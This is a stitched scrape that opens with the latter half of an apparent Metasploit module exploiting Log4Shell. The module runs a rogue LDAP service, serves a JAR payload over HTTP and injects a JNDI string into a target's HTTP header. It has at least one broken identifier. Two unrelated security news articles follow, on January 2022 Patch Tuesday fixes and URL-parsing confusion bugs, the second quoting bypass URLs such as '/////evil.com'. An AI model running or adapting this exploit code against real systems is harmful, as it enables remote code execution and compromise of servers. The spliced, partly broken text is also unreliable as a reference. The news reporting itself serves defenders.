client.write(serialized_payload(pdu.message_id, pdu.search_parameters[:base_object]))  

service.encode_ldap_response(pdu.message_id, Net::LDAP::ResultCodeSuccess, '', 'Search success', Net::LDAP::PDU::SearchResult)  

else  

service.encode_ldap_response(pdu.message_i, 50, '', 'Not authenticated', Net::LDAP::PDU::SearchResult)  

end  

else  

vprint_status("Client sent unexpected request #{pdu.app_tag}")  

client.close  

end  

resp.nil? ? client.close : on_send_response(client, resp)  

rescue StandardError => e  

print_error("Failed to handle LDAP request due to #{e}")  

client.close  

end  

resp  

end  

  

## HTTP service callbacks  

#  

# Handle HTTP requests and responses  

#  

def on_request_uri(cli, request)  

agent = request.headers['User-Agent']  

vprint_good("Payload requested by #{cli.peerhost} using #{agent}")  

pay = regenerate_payload(cli)  

jar = inject_jar_payload_factory(pay.encoded_jar)  

send_response(cli, 200, 'OK', jar)  

end  

  

#  

# Create an HTTP response and then send it  

#  

def send_response(cli, code, message = 'OK', html = '')  

proto = Rex::Proto::Http::DefaultProtocol  

res = Rex::Proto::Http::Response.new(code, message, proto)  

res['Content-Type'] = 'application/java-archive'  

res.body = html  

cli.send_response(res)  

end  

  

def exploit  

validate_configuration!  

if datastore['HTTP_HEADER'].blank?  

targetinfo = (@checkcode&.details || []).reject { |ti| ti[:headers]&.empty? }.first  

http_header = targetinfo[:headers].keys.first if targetinfo  

fail_with(Failure::BadConfig, 'No HTTP_HEADER was specified and none were found automatically') unless http_header  

  

print_good("Automatically identified vulnerable header: #{http_header}")  

else  

http_header = datastore['HTTP_HEADER']  

end  

  

# LDAP service  

start_service  

# HTTP service  

start_http_service if target['RemoteLoad']  

# HTTP request initiator  

send_request_raw(  

'uri' => normalize_uri(target_uri),  

'method' => datastore['HTTP_METHOD'],  

'headers' => { http_header => jndi_string }  

)  

sleep(datastore['WfsDelay'])  

handler  

ensure  

cleanup  

end  

  

#  

# Kill HTTP & LDAP services (shut them down and clear resources)  

#  

def cleanup  

# Clean and stop HTTP server  

if @http_service  

begin  

@http_service.remove_resource(datastore['URIPATH'])  

@http_service.deref  

@http_service.stop  

@http_service = nil  

rescue StandardError => e  

print_error("Failed to stop http server due to #{e}")  

end  

end  

super  

end  

  

private  

  

# Boilerplate HTTP service code  

#  

# Returns the configured (or random, if not configured) URI path  

#  

def resource_uri  

path = datastore['URIPATH'] || rand_text_alphanumeric(rand(8..15)) + '.jar'  

path = '/' + path if path !~ %r{^/}  

if path !~ /\.jar$/  

print_status("Appending .jar extension to #{path} as we don't yet serve classpaths")  

path += '.jar'  

end  

datastore['URIPATH'] = path  

return path  

end  

  

#  

# Handle the HTTP request and return a response. Code borrowed from:  

# msf/core/exploit/http/server.rb  

#  

def start_http_service(opts = {})  

comm = datastore['ListenerComm']  

if (comm.to_s == 'local')  

comm = ::Rex::Socket::Comm::Local  

else  

comm = nil  

end  

# Default the server host / port  

opts = {  

'ServerHost' => datastore['SRVHOST'],  

'ServerPort' => datastore['HTTP_SRVPORT'],  

'Comm' => comm  

}.update(opts)  

# Start a new HTTP server  

@http_service = Rex::ServiceManager.start(  

Rex::Proto::Http::Server,  

opts['ServerPort'].to_i,  

opts['ServerHost'],  

datastore['SSL'],  

{  

'Msf' => framework,  

'MsfExploit' => self  

},  

opts['Comm'],  

datastore['SSLCert']  

)  

@http_service.server_name = datastore['HTTP::server_name']  

# Default the procedure of the URI to on_request_uri if one isn't  

# provided.  

uopts = {  

'Proc' => method(:on_request_uri),  

'Path' => resource_uri  

}.update(opts['Uri'] || {})  

proto = (datastore['SSL'] ? 'https' : 'http')  

print_status("Serving Java code on: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}")  

if (opts['ServerHost'] == '0.0.0.0')  

print_status(" Local IP: #{proto}://#{Rex::Socket.source_address}:#{opts['ServerPort']}#{uopts['Path']}")  

end  

# Add path to resource  

@service_path = uopts['Path']  

@http_service.add_resource(uopts['Path'], uopts)  

end  

  

def validate_configuration!  

fail_with(Failure::BadConfig, 'The SRVHOST option must be set to a routable IP address.') if ['0.0.0.0', '::'].include?(datastore['SRVHOST'])  

if datastore['HTTP_HEADER'].blank? && !datastore['AutoCheck']  

fail_with(Failure::BadConfig, 'Either the AutoCheck option must be enabled or an HTTP_HEADER must be specified.')  

end  

end  

end  

`


Microsoft Faces Wormable, Critical RCE Bug & 6 Zero-Days

 

Description

Microsoft has addressed a total of 97 security vulnerabilities in its January 2022 Patch Tuesday update – nine of them rated critical – including six that are listed as publicly known zero-days.

The fixes cover a swath of the computing giant’s portfolio, including: Microsoft Windows and Windows Components, Microsoft Edge (Chromium-based), Exchange Server, Microsoft Office and Office Components, SharePoint Server, .NET Framework, Microsoft Dynamics, Open-Source Software, Windows Hyper-V, Windows Defender, and Windows Remote Desktop Protocol (RDP).

“This is an unusually large update for January,” Dustin Childs, a researcher with Trend Micro’s Zero Day Initiative (ZDI), explained. “Over the last few years, the average number of patches released in January is about half this volume. We’ll see if this volume continues throughout the year. It’s certainly a change from the smaller releases that ended 2021 [Microsoft patched 67 bugs in December].”

Zero-Day Tsunami

None of the zero-days are listed as being actively exploited, though two (CVE-2022-21919 and CVE-2022-21836) have public exploit code available. They are:

  • CVE-2021-22947: HackerOne-assigned CVE in open-source Curl library (RCE)
  • CVE-2021-36976: MITRE-assigned CVE in open-source Libarchive (RCE)
  • CVE-2022-21874: Local Windows Security Center API (RCE, CVSS score of 7.8)
  • CVE-2022-21919: Windows User Profile Service (privilege escalation, CVSS 7.0)
  • CVE-2022-21839: Windows Event Tracing Discretionary Access Control List (denial-of-service, CVSS 6.1).
  • CVE-2022-21836: Windows Certificate (spoofing, CVSS 7.8).

“The [cURL bug] was actually disclosed by HackerOne back in September 2021,” Childs said in ZDI’s Patch Tuesday analysis. “This patch includes the latest cURL libraries into Microsoft products. This is why this CVE is listed as publicly known. Similarly, the patch for the Libarchive library was also disclosed in 2021, and the latest version of this library is now being incorporated into Microsoft products.”

Patch Immediately: Critical, Wormable Bug

Out of the critical bugs, a remote code-execution (RCE) issue in the HTTP protocol stack stands out for researchers, given that it’s wormable – i.e., an exploit could self-propagate through a network with no user interaction. It carries the most severe CVSS vulnerability-severity rating of the entire update, coming in at 9.8 on the 10-point scale.

The bug (CVE-2022-21907) can be exploited by sending specially crafted packets to a system using the HTTP protocol stack (http.sys) to process packets.

“The CVE targets the HTTP trailer support feature, which allows a sender to include additional fields in a message to supply metadata, by providing a specially-crafted message that can lead to remote code execution,” Danny Kim, principal architect at Virsec, explained via email.

“No user interaction, no privileges required and an elevated service add up to a wormable bug,” Childs warned. “While this is definitely more server-centric, remember that Windows clients can also run http.sys, so all affected versions are affected by this bug. Test and deploy this patch quickly.”

Kim noted that CVE-2022-21907 is a particularly dangerous CVE because of its ability to allow for an attack to affect an entire intranet once the attack succeeds.

“The CVE is the latest example of how software capabilities can be warped and weaponized,” he noted. “Although Microsoft has provided an official patch, this CVE is another reminder that software features allow opportunities for attackers to misuse functionalities for malicious acts.”

Other Critical Security Holes for January 2022 – One Unpatched

Another interesting critical-rated RCE issue is CVE-2022-21840 in Microsoft Office, which, importantly, does not yet have a patch for Office 2019 for Mac and Microsoft Office LTSC for Mac 2021 (CVSS 8.8).

“Most Office-related RCE bugs are important-severity since they require user interaction and often have warning dialogs, too,” said Childs, noting that the Preview Pane is not the attack vector. “Instead, this bug is likely critical due to the lack of warning dialogs when opening a specially crafted file.”

Microsoft also patched CVE-2022-21846 – a critical RCE bug in Microsoft Exchange Server reported by the National Security Agency, which is listed as “exploitation more likely” (CVSS 9.0). It’s one of three Exchange RCEs being fixed this month (the others are CVE-2022-21969 and CVE-2022-21855), all of which are listed as being “network adjacent,” meaning the attacker would need to be on a target network already to be successful.

Despite the “exploitation more likely” rating, “Microsoft notes the attack vector is adjacent, meaning exploitation will require more legwork for an attacker, unlike the ProxyLogon and ProxyShell vulnerabilities which were remotely exploitable,” Satnam Narang, staff research engineer at Tenable, said via email.

One of the zero-days is listed as critical too, it should be noted: CVE-2021-22947, which is the one found in the open-source cURL library used by Windows to transfer data using various network protocols. It allows RCE leading to man-in-the-middle (MiTM) attacks, according to Automox researcher Maarten Buis.

“An attacker could carry out a MitM attack by exploiting how cURL handles cached or pipelined responses from IMAP, POP3, SMTP or FTP servers,” he explained in a Tuesday posting. “The attacker would inject the fake response, then pass through the TLS traffic from the legitimate server and trick curl into sending the attackers’ data back to the user as valid and authenticated.”

The public disclosure significantly increases the chances of exploit, he warned.

And, a privilege-escalation issue is unusually flagged as critical: CVE-2022-21857 in Active Directory Domain Services (CVSS 8.8).

“This patch fixes a bug that allowed attackers to elevate privileges across an Active Directory trust boundary under certain conditions,” Childs said. “Microsoft deemed the flaw sufficient enough for a critical rating. This does require some level of privileges, so again, an insider or other attacker with a foothold in a network could use this for lateral movement and maintaining a presence within an enterprise.”

There’s another critical privilege-escalation issue, CVE-2022-21833 in the Virtual Machine IDE Drive (CVSS 7.8), but the complexity is marked high. According to Automox, to exploit it, a threat actor would need to gain access to an underprivileged account, such as through an unsecure user password or an account with minimal access controls, to expose this vulnerability.

Thus, “seeing this bug in the wild would likely take quite a bit of work,” Childs said.

Two critical issues in the DirectX Graphics Kernel carry a rating of 7.8 out of 10 on the CVSS vulnerability-severity scale and allow RCE: CVE-2022-21912 andCVE-2022-21898.

To exploit these, viewing a specially crafted media file could result in code execution, and are likely present in most systems, according to Automox researcher Jay Goodman.

“The DirectX graphics kernel is a subsystem that enables internal components like graphics cards and drives or external devices like printers and input devices,” he said. “Attackers could use these remote code execution vulnerabilities to deploy and execute code on a target system. This can allow attackers to easily take full control of the system as well as create a base of operations within the network to spread to other systems. Common and widespread vulnerabilities like these are critical for attackers trying to steal corporate data or infiltrating sensitive systems. It is important for organizations to patch and remediate within the 72 hour window to minimize exposure.”

And finally, there’s CVE-2022-21917 in HEVC Video Extensions (RCE, CVSS 7.8).

“Successful exploitation would require an attacker to bait an authenticated user into opening a maliciously crafted media file, which would result in remote code execution on the victim’s machine,” explained Automox researcher Justin Knapp. “Microsoft does not provide mitigation recommendations aside from patching. However, most affected customers will automatically be updated via the Microsoft Store and guidance is provided to check the package version to ensure it has the current update.”

The monster Patch Tuesday couldn’t come at a worse time, noted Bharat Jogi, director of vulnerability and threat research at Qualys.

“This massive Patch Tuesday comes during a time of chaos in the security industry whereby professionals are working overtime to remediate Log4Shell – reportedly the worst vulnerability seen in decades,” he said via email. “Unpredictable events such as Log4Shell add significant stress to the security professionals dealing with such outbreaks.”

URL Parsing-Library Bugs Allow DoS, RCE, Spoofing & More

 

Description

Eight different security vulnerabilities arising from inconsistencies among 16 different URL parsing libraries could allow denial-of-service (DoS) conditions, information leaks and remote code execution (RCE) in various web applications, researchers are warning.

The bugs were found in third-party web packages written for various languages, and, like Log4Shell and other software-supply chain threats, could have been imported to hundreds or thousands of different web apps and projects. Those afflicted are Flask (a micro web framework written in Python), Video.js (an HTML5 video player), Belledonne (free VoIP and IP video phone), Nagios XI (network and server monitoring) and Clearance (password authentication for Ruby).

Skip to a rundown of the issues.

Understanding URL Parsing Confusion

URL parsing is the process of breaking down a web address into its underlying components, in order to correctly route traffic across different links or into different servers. URL parsing libraries, which are available for various programming languages, are usually imported into applications in order to fulfill this function.

“URLs are actually built from five different components: scheme, authority, path, query and a fragment,” researchers from the Claroty Team82 research division and Synk wrote in an analysis on Monday. “Each component fulfills a different role, be it dictating the protocol for the request, the host which holds the resource, which exact resource should be fetched and more.”

Components of a URL. Source: Claroty.

According to a combined analysis, security holes crop up thanks to differences in the way each library goes about its parsing activities.

Team82 and Synk examined 16 different URL parsing libraries, including: urllib (Python), urllib3 (Python), rfc3986 (Python), httptools (Python), curl lib (cURL), Wget, Chrome (Browser), Uri (.NET), URL (Java), URI (Java), parse_url (PHP), url (NodeJS), url-parse (NodeJS), net/url (Go), uri (Ruby) and URI (Perl).

Across them, they identified five categories of inconsistencies in how these libraries parse components:

  • Scheme Confusion: A confusion involving URLs with missing or malformed Scheme
  • Slash Confusion: A confusion involving URLs containing an irregular number of slashes
  • Backslash Confusion: A confusion involving URLs containing backslashes (\)
  • URL Encoded Data Confusion: A confusion involving URLs containing URL Encoded data
  • Scheme Mix-ups: A confusion involving parsing a URL belonging to a certain scheme without a scheme-specific parser

The problem is that these inconsistencies can create vulnerable code blocks, thanks to two main web-app development issues, according to the report:

  • Multiple Parsers in Use: Whether by design or an oversight, developers sometimes use more than one URL parsing library in projects. Because some libraries may parse the same URL differently, vulnerabilities could be introduced into the code.
  • Specification Incompatibility: Different parsing libraries are written according to different web standards or URL specifications, which creates inconsistencies by design. This also leads to vulnerabilities because developers may not be familiar with the differences between URL specifications and their implications (e.g., what should be checked or sanitized).

As an example of a real-world attack scenario, slash confusion could lead to server-side request forgery (SSRF) bugs, which could be used to achieve RCE. Researchers explained that different libraries handle URLs with more than the usual number of slashes (https:///www.google.com, for instance) in different ways: Some of them ignore the extra slash, while others interpret the URL as having no host.

In the case of the former (the approach of most modern browsers as well as cURL), accepting malformed URLs with an incorrect number of slashes can lead to SSRF, researchers explained: “[Libraries that do not] ignore extra slashes…will parse this [malformed] URL as a URL with an empty authority (netloc), thus passing the security check comparing the netloc (an empty string in this case) to google.com. However, since cURL ignores the extra slash, it will fetch the URL as if it had only two slashes, thus bypassing the attempted validation and resulting in a SSRF vulnerability.”

URL confusion is also responsible for the Log4Shell patch bypass, according to Claroty, because two different URL parsers were used inside the JNDI lookup process: One parser was used for validating the URL, and another for fetching it.

“Depending on how each parser treats the Fragment portion (#) of the URL, the Authority changes too,” researchers explained. “In order to validate that the URL’s host is allowed, Java’s URI class was used, which parsed the URL, extracted the host, and checked if the host is on the whitelist of allowed hosts. And indeed, if we parse this URL using Java’s URI, we find out that the URL’s host is 127.0.0.1, which is included in the whitelist. However, on certain operating systems (mainly macOS) and specific configurations, when the JNDI lookup process fetches this URL, it does not try to fetch it from 127.0.0.1, instead it makes a request to 127.0.0.1#.evilhost.com. This means that while this malicious payload will bypass the allowedLdapHost localhost validation (which is done by the URI parser), it will still try to fetch a class from a remote location.”

URL Parsing Security Bugs

In their analysis, researchers came across eight high-severity vulnerabilities in third-party web-applications resulting from URL parsing confusion. All of them have been patched, they said, except for those found in unsupported versions of Flask, so developers should refresh their apps with the updated versions:

  1. Flask-security open redirect (Python, CVE-2021-23385)
  2. Flask-security-too open redirect (Python, CVE-2021-32618)
  3. Flask-User open redirect (Python, CVE-2021-23401)
  4. Flask-unchained open redirect (Python, CVE-2021-23393)
  5. Belledonne’s SIP Stack null pointer dereference (DoS) (C, CVE-2021-33056)
  6. Video.js cross-site scripting (XSS) (JavaScript, CVE-2021-23414)
  7. Nagios XI open redirect (PHP, CVE-2021-37352)
  8. Clearance open redirect (Ruby, CVE-2021-23435)

Open-redirect vulnerabilities are popular for exploitation because they enable spoofing, phishing and man-in-the-middle attacks (MITM). They occur when a web application accepts a user-controlled input that specifies a URL that the user will be redirected to after a certain action. When a user logs into a website, for example, they could be redirected to a malicious look-alike site.

Researchers explained that typically, open-redirect attacks are thwarted via validation: “The web server validates the given URL and allows only URLs that belong to the same site or to a list of trusted domains.”

URL library confusion can interfere with proper validation, as is the case with the Clearance bug. The vulnerable function inside Clearance (a popular third-party add-on for Ruby’s Rails framework that enables simple and secure email and password authentication) is “return_to,” researchers noted. This function is meant to be called after a login/logout procedure and should redirect the user safely to the page they requested earlier. However, it can be subverted if a target can be convinced to click on a URL with the following syntax: http://www.victim.com/////evil.com.

“Since Rails ignores multiple slashes in the URL, the path segment will arrive in its entirety to be parsed in Clearance (/////evil.com),” researchers explained. “Since URI.parse trims off two slashes, the resulting URL will be ///evil.com. Whenever the server redirects the user to this URL, ///evil.com, the browser will convert this network path relative reference to the absolute http://evil.com URL pointing to the evil.com domain (host).”

Belledonne VoIP Crashing

One of the more interesting bugs was found in Belledonne’s Linphone, a free voice-over-IP softphone, SIP client and service used for audio and video calls. It suffers from scheme confusion thanks to how it handles SIP-message parsing, according to the analysis, which is when a URL-parsing library gets confused by a missing scheme (the “http” or similar portion of a web address).

“By looking into the URL parsing functionality of Belledone, we’ve found [a] piece of code parsing the SIP URL inside the to/from SIP headers,” researchers explained. “Belledone parses the SIP URL as a generic URL and checks if the scheme is either SIP or SIPs using strcasecmp, checking if the given URL is a SIP URL.”

However, a Belledonne generic_uri accepts URLs created by the different URL components, without requiring specific components to be present, they explained.

“This means a URL containing only a path is a valid URL, while not having a URL scheme,” they concluded. “Using this, we’ve supplied a URL containing only a single slash (/), resulting in the URL’s scheme being NULL. Then, when Belledone uses strcasecmp, it compares a NULL pointer (because no scheme was supplied), resulting in a NULL pointer dereference and the application’s crash.”

The team created a proof-of-concept exploit code that was able to crash any remote user’s application by simply making a malicious VoIP call, “requiring zero interaction from the attacked user.”

Team82 and Synk researchers noted that “many possible vulnerabilities could arise, ranging from an SSRF vulnerability, which could result in remote code execution, all the way to an open-redirect vulnerability which could result in a sophisticated phishing attack.” To protect their apps, developers should adopt the following best practices, they said:

Use as few parsers as possible. “We recommend you to avoid using a URL parser at all, and it is easily achievable in many cases,” researchers said.

Transfer a parsed URL across a microservice environment. “If microservices are implemented in different frameworks or programming languages, they will likely use different URL parsers,” they noted. “To avoid this problem you can simply parse a URL at the front-end microservice and transfer it further in its parsed form.”

Understand differences in parsers involved with application business logic. Sometimes the use of multiple parsers can’t be avoided, so developers need to be aware about differences in parsing behaviors.

Always canonicalize the URL before parsing. Always make sure that applications remove multiple forward/backward slashes, white-spaces and control characters to return URLs to their proper forms before parsing.